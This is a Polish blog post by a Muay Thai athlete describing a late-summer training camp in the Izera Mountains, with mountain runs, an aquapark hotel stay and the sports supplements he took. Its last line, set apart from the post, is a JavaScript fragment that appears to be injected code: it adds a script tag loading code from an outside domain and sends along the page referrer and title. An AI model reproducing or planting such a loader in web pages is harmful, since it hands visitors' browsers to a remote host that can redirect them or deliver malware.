Przed jesienią orka w Górach Izerskich :) :) :)

2.09.2013 / Mariusz Cieśliński

W ostatni tydzień wakacji zmobilizowaliśmy się na „sponatnie ” na 4dniowy  muaythai camp.Miejscem treningów był Świeradów Zdrój.Poniżej pierwsza porcja zdjęć z treningów biegowych.Góry Izerskie są doskonałym miejscem do treningu siły biegowej.Docenili je biegacze-przed nami był obóz biegowy Runner’s World i piłkarki ręczne Montexu Lublin(aktualne Mistrzynie Polski).

My biegaliśmy na Stóg Izerski,Sępią górę,Smerk(Czech Republic :-) ) i Wodospad Kwisy.Kąpiel w lodowatej,górskiej wodzie daje niesamowitego kopa energetycznego i łagodzi skutki wcześniejszego treningu.Była niemal bezpośrednia gotowość do następnego.

Dla mnie to był kolejny pobyt w tym roku w malowniczo położonym Aquaparku Sporthotelu Malachit. Świetnie się tu czuję i z całym składem oceniliśmy pobyt celująco.3 treningi dziennie to duże obciążenie dla organizmu-pilnowałem dostarczania regularnie aminokwasów rozgałęzionych BCAA X TANK oraz ISolate100Whey protein dla procesu regeneracyjnego.Na jednym wyjściu w teren spalałem 1600kcal wg. mojego pulsometra.

Stąd dieta i odpowiednia suplementacja pod wysiłek jest niezwykle ważnym aspektem na zgrupowaniu !Bcaa i Izolat wsparte były Vitamine C Strong,Adrenaline Gel i Carbo Gel z nowej linii Action Line Trec Nutrition oraz SteroXpack.

Między treningami-chwile relaxu.Spacerowaliśmy z żoną i córką  po Świeradowie oraz wariowaliśmy trochę w wodzie w aquaparku .Dla moich dziewczyn były to ostatnie chwile wakacji wykorzystane na maxa :).

Zdjęcia z treningów w terenie,a  w następnym wpisie fotki z treningów i opis pracy na sali.

 

d.getElementsByTagName(‚head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;